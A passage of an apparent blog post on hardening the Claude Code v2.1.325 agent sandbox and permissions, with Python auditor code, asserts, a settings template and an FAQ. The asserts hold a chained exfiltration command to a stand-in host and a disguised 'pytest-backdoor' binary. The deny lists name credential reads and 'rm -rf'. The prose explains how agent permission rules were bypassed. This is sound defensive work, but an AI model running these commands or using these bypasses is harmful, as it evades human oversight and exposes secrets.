    findings: list[PolicyFinding] = []
    sandbox = settings.get("sandbox", {})
    perms = settings.get("permissions", {})
    env_cfg = settings.get("env", {})

    allow_list: list[str] = perms.get("allow", [])
    deny_list: list[str] = perms.get("deny", [])
    deny_read: list[str] = sandbox.get("filesystem", {}).get("denyRead", [])

    if not sandbox.get("enabled", False):
        findings.append(
            PolicyFinding(
                severity="CRITICAL",
                code="CC325-SBX-001",
                message="OS shell sandbox (sandbox.enabled) is disabled.",
                remediation="Set sandbox.enabled = true and sandbox.allowUnsandboxedCommands = false.",
            )
        )

    if sandbox.get("autoAllowBashIfSandboxed", False) and not settings.get("_ephemeral_vm_only"):
        findings.append(
            PolicyFinding(
                severity="HIGH",
                code="CC325-AUTH-002",
                message="sandbox.autoAllowBashIfSandboxed is set to true outside a disposable VM.",
                remediation="Keep sandbox.autoAllowBashIfSandboxed = false (v2.1.325 default) and scope permissions.allow.",
            )
        )

    if sandbox.get("allowUnsandboxedCommands", True):
        findings.append(
            PolicyFinding(
                severity="HIGH",
                code="CC325-SBX-003",
                message="sandbox.allowUnsandboxedCommands is enabled (allows dangerouslyDisableSandbox escape hatch).",
                remediation="Set sandbox.allowUnsandboxedCommands = false in managed settings.",
            )
        )

    if not any("Read(./.env)" in r or "Read(.env)" in r for r in deny_list):
        findings.append(
            PolicyFinding(
                severity="HIGH",
                code="CC325-SEC-004",
                message="Built-in Read tool is not blocked on ./.env in permissions.deny.",
                remediation="Add 'Read(./.env)' and 'Read(./.env.*)' to permissions.deny (sandbox.filesystem.denyRead only covers Bash).",
            )
        )

    if "~/.ssh" not in deny_read or "~/.aws" not in deny_read:
        findings.append(
            PolicyFinding(
                severity="HIGH",
                code="CC325-SBX-005",
                message="Host credential directories (~/.ssh, ~/.aws) are readable inside the Bash sandbox by default.",
                remediation="Add '~/.ssh', '~/.aws', '~/.kube', and '~/.gnupg' to sandbox.filesystem.denyRead.",
            )
        )

    if env_cfg.get("CLAUDE_CODE_SUBPROCESS_ENV_SCRUB") != "1":
        findings.append(
            PolicyFinding(
                severity="MEDIUM",
                code="CC325-ENV-006",
                message="CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1 is not enforced for user subprocesses, hooks, and stdio MCP.",
                remediation="Set env.CLAUDE_CODE_SUBPROCESS_ENV_SCRUB = '1' alongside v2.1.325 internal helper scrubbing.",
            )
        )

    if is_headless_ci and not perms.get("denyInsteadOfPrompting", False):
        findings.append(
            PolicyFinding(
                severity="CRITICAL",
                code="CC325-CI-007",
                message="Headless CI runner lacks permissions.denyInsteadOfPrompting = true; unmatched Bash commands in v2.1.325 will hang waiting on stdin.",
                remediation="Set permissions.denyInsteadOfPrompting = true and declare explicit Bash(...) allow rules.",
            )
        )

    for skill_name in scheduled_skills_with_tools:
        expected_rule = f"Skill({skill_name})"
        if expected_rule not in allow_list:
            findings.append(
                PolicyFinding(
                    severity="HIGH",
                    code="CC325-LOOP-008",
                    message=f"Scheduled /loop skill '{skill_name}' declares allowed-tools/hooks and will pause for approval in v2.1.325.",
                    remediation=f"Add '{expected_rule}' to permissions.allow.",
                )
            )

    if untrusted_git_In_additional_dirs:
        findings.append(
            PolicyFinding(
                severity="MEDIUM",
                code="CC325-GIT-009",
                message="External untrusted git repository configured via additionalDirectories will still prompt on read-only git commands in v2.1.325.",
                remediation="Pass '--add-dir /path/to/repo' on the Claude Code CLI invocation instead of relying on additionalDirectories.",
            )
        )

    return findings


HARDENED_MANAGED_SETTINGS_TEMPLATE: dict[str, Any] = {
    "permissions": {
        "denyInsteadOfPrompting": True,
        "allow": [
            "Bash(npm test)",
            "Bash(npm run build)",
            "Bash(ruff check .)",
            "Bash(pytest)",
            "Skill(nightly-security-audit)",
        ],
        "deny": [
            "Read(./.env)",
            "Read(./.env.*)",
            "Read(~/.ssh/**)",
            "Read(~/.aws/**)",
            "Bash(rm -rf *)",
            "Bash(git push --force*)",
            "mcp__plugin_*_delete_*",
        ],
    },
    "sandbox": {
        "enabled": True,
        "autoAllowBashIfSandboxed": False,
        "allowUnsandboxedCommands": False,
        "failIfUnavailable": True,
        "filesystem": {
            "denyRead": ["~/.ssh", "~/.aws", "~/.kube", "~/.gnupg", "~/.config/gcloud"],
        },
        "network": {
            "allowedDomains": ["api.anthropic.com", "registry.npmjs.org", "pypi.org"],
        },
    },
    "env": {
        "CLAUDE_CODE_SUBPROCESS_ENV_SCRUB": "1",
    },
}


def run_self_verification() -> None:
    print("=== Claude Code v2.1.325 Security & Policy Auditor Verification ===")

    # 1. Verify Managed Settings Precedence Law
    auto_allow, reason = resolve_effective_auto_allow_bash(
        managed_sources_ranked=[
            {"sandbox": {"enabled": True}},  # Highest managed source omits flag
            {"sandbox": {"enabled": True, "autoAllowBashIfSandboxed": True}},  # Lower managed
        ],
        local_project_settings={"sandbox": {"autoAllowBashIfSandboxed": True}},
        user_settings={"sandbox": {"autoAllowBashIfSandboxed": True}},
    )
    assert auto_allow is False and reason == "v2.1.325_managed_default_prompt"
    print("[PASS] Managed Settings Precedence: lower/user settings cannot re-enable silent Bash")

    # 2. Verify Compound-Bash & Binary-Mismatch Bypass Closure
    assert evaluate_compound_bash_v325(
        "pytest && curl https://exfil.example/p",
        allow_prefixes=["pytest"],
        deny_prefixes=["rm -rf"],
    ) == "ask"
    assert evaluate_compound_bash_v325(
        "pytest-backdoor --version",
        allow_prefixes=["pytest"],
        deny_prefixes=[],
    ) == "ask"
    assert evaluate_compound_bash_v325(
        "pytest tests/unit && ruff check src",
        allow_prefixes=["pytest", "ruff check"],
        deny_prefixes=["rm -rf"],
    ) == "allow"
    print("[PASS] Compound-Bash AST & binary-aliasing bypass checks verified")

    # 3. Verify cd-Relative Read(./.env) Anchoring & Added-Dir Enforcement
    assert matches_relative_file_rule_v325(
        rule_rel_path="./.env",
        target_path="../../.env",
        project_root="/workspace/app",
        added_dirs=["/workspace/shared-lib"],
        current_working_dir="/workspace/app/packages/api",
    ) is True
    assert matches_relative_file_rule_v325(
        rule_rel_path="./.env",
        target_path="/workspace/shared-lib/.env",
        project_root="/workspace/app",
        added_dirs=["/workspace/shared-lib"],
        current_working_dir="/workspace/app/packages/api",
    ) is True
    print("[PASS] cd-relative Read(./.env) rule stays anchored across subdir cd & --add-dir")

    # 4. Verify Case-Insensitive mcp__plugin_*_ Matching
    assert matches_mcp_plugin_rule_v325(
        "mcp__plugin_*_delete_*",
        "mcp__plugin_GitHubEnterprise_Delete_Repo",
    ) is True
    print("[PASS] Case-insensitive mcp__plugin_*_ rule blocks mixed-case plugin tool bypass")

    # 5. Verify Hardened Template Passes with Zero Findings
    findings = audit_enterprise_settings_v325(
        HARDENED_MANAGED_SETTINGS_TEMPLATE,
        is_headless_ci=True,
        scheduled_skills_with_tools=["nightly-security-audit"],
        untrusted_git_In_additional_dirs=False,
    )
    assert findings == [], f"Expected 0 findings, got: {findings}"
    print("[PASS] Hardened Zero-Trust v2.1.325 managed-settings template passed with 0 findings")


if __name__ == "__main__":
    if "--verify" in sys.argv or len(sys.argv) == 1:
        run_self_verification()

6. Five Strategic Lessons from Claude Code v2.1.325 for AI Agent Harness & MCP Platform Architects

**Direct Answer:** Whether your organization standardizes on **Claude Code**, **OpenAI Codex CLI**, **Google Antigravity**, **Cursor**, or custom **Model Context Protocol (MCP)** agent runtimes, Claude Code `v2.1.325` establishes five non-negotiable architectural laws for 2026–2027 production agent platforms:

1. **Keep Containment and Authorization Strictly Orthogonal**: Never allow the presence of `bwrap`, Seatbelt, Docker, or a Kubernetes pod to imply `ALLOW *` on tool execution. Gate 1 (authorization) validates task scope, least-privilege tool identity, and human/policy consent; Gate 2 (sandboxing) limits kernel blast radius when an authorized tool encounters untrusted repository code or dependency scripts.

2. **Enforce Parser-Runtime Equivalence Across Shells, Paths, and Protocols**: Every bypass closed in `v2.1.325`—compound Bash chains, binary prefix mismatches, `cd`-relative `Read(./.env)` drift, symlinked runner folders, and mixed-case `mcp__plugin_*_` tool names—stemmed from policy matchers normalizing strings differently than the underlying execution engine. Canonicalize AST nodes, `realpath()` targets, CWD anchors, and case-folded tool identifiers *before* policy evaluation.

3. **Scrub Helper & Subprocess Environments by Default (`Zero Secret Inheritance`)**: An agent control plane holds crown-jewel credentials—OAuth session tokens, LLM gateway API keys, and enterprise mTLS client key passphrases. Spawn internal bridges, `ripgrep`, `git`, hooks, and stdio MCP servers with an allowlisted minimal `environ`, never a copy of `process.env`.

4. **Gate Autonomous Persistence Vectors (`.claude`, `.git/hooks`, Scheduled `/loop` Skills & Updater Paths)**: Inside a sandbox, write access to configuration directories (`.claude/settings.json`, `.claude/skills`, `.git/hooks`, `git maintenance`, or auto-updater caches) is equivalent to full sandbox escape on the next turn. Treat agent control-plane directories as immutable read-only mounts inside every tool execution context.

5. **Pair Fail-Closed Non-Interactive Denials (`denyInsteadOfPrompting: true`) With Canary Channel Testing**: Watch the gap between fast-moving `latest` releases (`v2.1.325`) and enterprise `stable` tags (`v2.1.311`). Run automated nightly canary pipelines against `@anthropic-ai/claude-code@latest` with `permissions.denyInsteadOfPrompting: true` so tightenings in permission defaults surface immediately as structured test failures rather than hanging production runners.

Primary sourcesAnthropic — Claude Code Sandboxing Architecture (Seatbelt, bubblewrap & autoAllowBashIfSandboxed) ↗Anthropic — Claude Code Security & Isolation Model ↗DataStudios — Claude Code 2.1.325 Now Asks Before Running Sandboxed Bash Commands (Nov 16, 2026) ↗Claude Hub — Claude Code 2.1.325: Sandboxed Bash Asks for Permission Again by Default (Nov 14, 2026) ↗

Primary sources & further reading

Last-checked dates are listed below. Service documentation can change; recheck the linked support and pricing information before implementation.

  1. Claude Code Official Release Changelog: Version 2.1.325 and Version 2.1.323 ↗Anthropic Developer Documentation · Checked
  2. Sandboxing in Claude Code: Filesystem, Network, and Mode Configuration ↗Anthropic Developer Documentation · Checked
  3. Configure Permissions, Managed Policies, and Tool Authorization in Claude Code ↗Anthropic Developer Documentation · Checked
  4. Claude Code Settings Schema: Sandbox, Permissions, Environment Scrubbing, and Precedence ↗Anthropic Developer Documentation · Checked
  5. Security, Prompt-Injection Mitigations, and Container Isolation in Claude Code ↗Anthropic Developer Documentation · Checked
  6. Claude Code 2.1.325 Now Asks Before Running Sandboxed Bash Commands: Defaults, Security Fixes, and Admin Rules ↗DataStudios Engineering & AI Research · Checked
  7. Claude Code 2.1.325: Sandbox Permissions Hardened, Subprocess Secret Stripping, and Bypass Fixes ↗Claude Hub · Checked
  8. Anthropic Claude Code Release Notes Archive (v2.1.311 Stable Through v2.1.325 Latest) ↗Releasebot · Checked

Experiment captures

4K architectural diagram comparing the legacy pre-2.1.325 Claude Code sandbox model (autoAllowBashIfSandboxed: true, where confinement implied execution consent) against the hardened v2.1.325 Dual-Gate Zero-Trust model separating Gate 1 Execution Authorization from Gate 2 Seatbelt/bubblewrap Sandbox Isolation.
4K Dual-Gate Architecture · Figure 1 — Why Sandbox Isolation ≠ Execution Authorization: Contrasting the pre-2.1.325 implicit auto-allow model with v2.1.325’s orthogonal Dual-Gate pipeline (Gate 1 Intent Authorization + Gate 2 OS Syscall Containment) and highlighting tools that execute outside the shell sandbox.
4K security forensics matrix detailing the vulnerability and permission-bypass classes closed in Claude Code v2.1.325: zstd response decoder patch, compound-Bash and binary-aliasing fixes, cd-relative Read(./.env) anchoring, case-insensitive mcp__plugin_*_ matching, sandbox .claude/worktree/updater protections, and settings.local.json spoofing blocks.
4K Bypass & Patch Matrix · Figure 2 — Anatomy of the Security & Permission Bypasses Patched in v2.1.325: How parser-runtime equivalence closes compound-Bash subcommand gaps, cd-relative Read(./.env) drift, mixed-case MCP plugin bypasses, and zstd stream decoding flaws.
4K credential isolation and subprocess environment scrubbing diagram for Claude Code v2.1.325 showing OAuth tokens and API keys stripped from the sandbox network bridge, mTLS client key passphrases stripped from ripgrep and git helpers, background session billing locks, and Bedrock allowedProviders enforcement.
4K Subprocess & mTLS Hygiene · Figure 3 — Subprocess Secret Hygiene & Enterprise Provider Boundaries: Keeping OAuth tokens, API keys, and mTLS passphrases inside the parent control plane while scrubbing child helpers, background sessions, and disallowed Bedrock token-counting endpoints.
4K production migration blueprint for Claude Code v2.1.325 across headless CI/CD runners, scheduled /loop skills, and enterprise managed settings before the npm stable channel advances from v2.1.311.
4K Headless CI/CD Playbook · Figure 4 — Zero-Trust CI/CD & Scheduled /loop Migration Blueprint: Pairing sandbox.autoAllowBashIfSandboxed: false (v2.1.325) with permissions.denyInsteadOfPrompting: true (v2.1.319), scoped Skill(name) grants, and CLI --add-dir flags.

Practical guide & interpretation

This AppSec and platform-engineering analysis examines Anthropic’s Claude Code v2.1.325 (published November 13, 2026): why changing sandbox.autoAllowBashIfSandboxed to false decouples OS-level shell containment (macOS Seatbelt and Linux bubblewrap) from explicit execution authorization, how v2.1.325 patches zstd response decoding, strips API keys and mTLS client key passphrases from helper subprocesses, and closes compound-Bash, cd-relative Read(./.env), and MCP case-sensitivity bypasses, and how teams should harden headless CI/CD pipelines and scheduled /loop tasks before npm stable advances from v2.1.311.

Keep OS containment and command authorization orthogonal in every agent workflow

Enabling Claude Code’s shell sandbox (@anthropic-ai/sandbox-runtime) restricts filesystem writes to the working directory and routes network requests through a domain proxy, but it leaves most of the host machine readable by default, permits destructive commands inside the repository, and does not wrap built-in tools (Read, Edit, Write, WebFetch), MCP servers, or hooks. Treat Gate 1 (explicit permissions.allow / permissions.deny) and Gate 2 (Seatbelt / bubblewrap containment) as independent zero-trust controls.

Before the npm stable dist-tag advances from v2.1.311 to v2.1.325+, test all headless claude -p CI/CD pipelines and scheduled /loop workflows against @anthropic-ai/claude-code@latest. Pair sandbox.autoAllowBashIfSandboxed: false with permissions.denyInsteadOfPrompting: true, explicit Bash(...) and Skill(name) allow rules, CLI --add-dir flags for external git repositories, and CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1.

Primary referencesAnthropic — Official Claude Code Changelog (v2.1.325, Nov 2026) ↗Anthropic — Claude Code Sandboxing Documentation ↗DataStudios — Claude Code 2.1.325 Now Asks Before Running Sandboxed Bash Commands ↗Claude Hub — Claude Code 2.1.325: Sandbox Permissions Hardened ↗

Questions & answers

Why did Claude Code v2.1.325 start asking for permission on sandboxed Bash commands?

Prior to v2.1.325, enabling Claude Code’s Bash sandbox implicitly set sandbox.autoAllowBashIfSandboxed to true so confined shell commands executed without prompting. Version 2.1.325 (published November 13, 2026) flipped sandbox.autoAllowBashIfSandboxed to false by default, routing sandboxed Bash commands through the standard permission flow unless an allow rule covers the command or you explicitly opt in via sandbox.autoAllowBashIfSandboxed: true.

What is the difference between sandbox isolation and execution authorization in AI coding agents?

Sandbox isolation is an OS-level blast-radius boundary (such as macOS Seatbelt or Linux bubblewrap) that restricts which filesystem paths, network domains, and syscalls a spawned shell process can access. Execution authorization is an intent-and-identity policy check that determines whether a specific command, file read, MCP tool call, or scheduled /loop skill should execute at all—protecting against destructive workspace commands, default host read access, and unwrapped tools.

How do enterprise administrators restore silent sandboxed Bash execution under Managed Settings?

When an organization turns on the Bash sandbox via Managed Settings (managed-settings.json, MDM, or server-managed policy), setting sandbox.autoAllowBashIfSandboxed: true in ~/.claude/settings.json or .claude/settings.local.json has no effect. Administrators must set sandbox.autoAllowBashIfSandboxed: true inside their highest-ranking managed settings source.

How do I run Claude Code v2.1.325 unattended in headless CI/CD and scheduled /loop tasks without hanging?

Keep sandbox.autoAllowBashIfSandboxed: false, set permissions.denyInsteadOfPrompting: true so unmatched calls fail deterministically instead of waiting on stdin, declare scoped Bash(...) commands and Skill(name) entries in permissions.allow for any scheduled /loop skills that declare allowed-tools or hooks, and pass --add-dir on the CLI for external read-only git repositories.

What security vulnerabilities and permission bypasses were patched in Claude Code v2.1.325?

Version 2.1.325 patched a security flaw in zstd-compressed response decoding; closed compound-Bash subcommand and binary-mismatch allow-rule bypasses; anchored relative deny/ask rules like Read(./.env) across cd directory changes and added directories; fixed case-sensitivity bypasses in mcp__plugin_*_ rules; re-applied deny rules after runner restarts; blocked sandboxed writes to .claude, worktree hooks, and the native updater folder; and stripped OAuth/API keys and mTLS passphrases from helper subprocesses.

Why does listing a repository in additionalDirectories still prompt on read-only git commands in v2.1.325?

In Claude Code v2.1.325, read-only git commands in repositories outside the primary project or trusted list now ask for permission first. By design, listing an external repository in permissions.additionalDirectories inside settings.json does not exempt it from that prompt; you must pass --add-dir /path/to/repo on the CLI invocation to run read-only git commands unattended.

About this work

Written by , an AI platform engineer and independent AI and quantum researcher. This article includes a compact interactive explanation; the text describes its assumptions and practical limits.

First published . Explanation updated .

All blogClaude Code 2.1.325 · autoAllowBashIfSandboxed · Sandbox Isolation vs Execution Authorization · AI Coding Agent Security · MCP Permission Bypass · Zero Trust Agent Harness · Headless CI/CD Agents · Bubblewrap Seatbelt Sandbox · mTLS Subprocess Hygiene · Model Context Protocol Security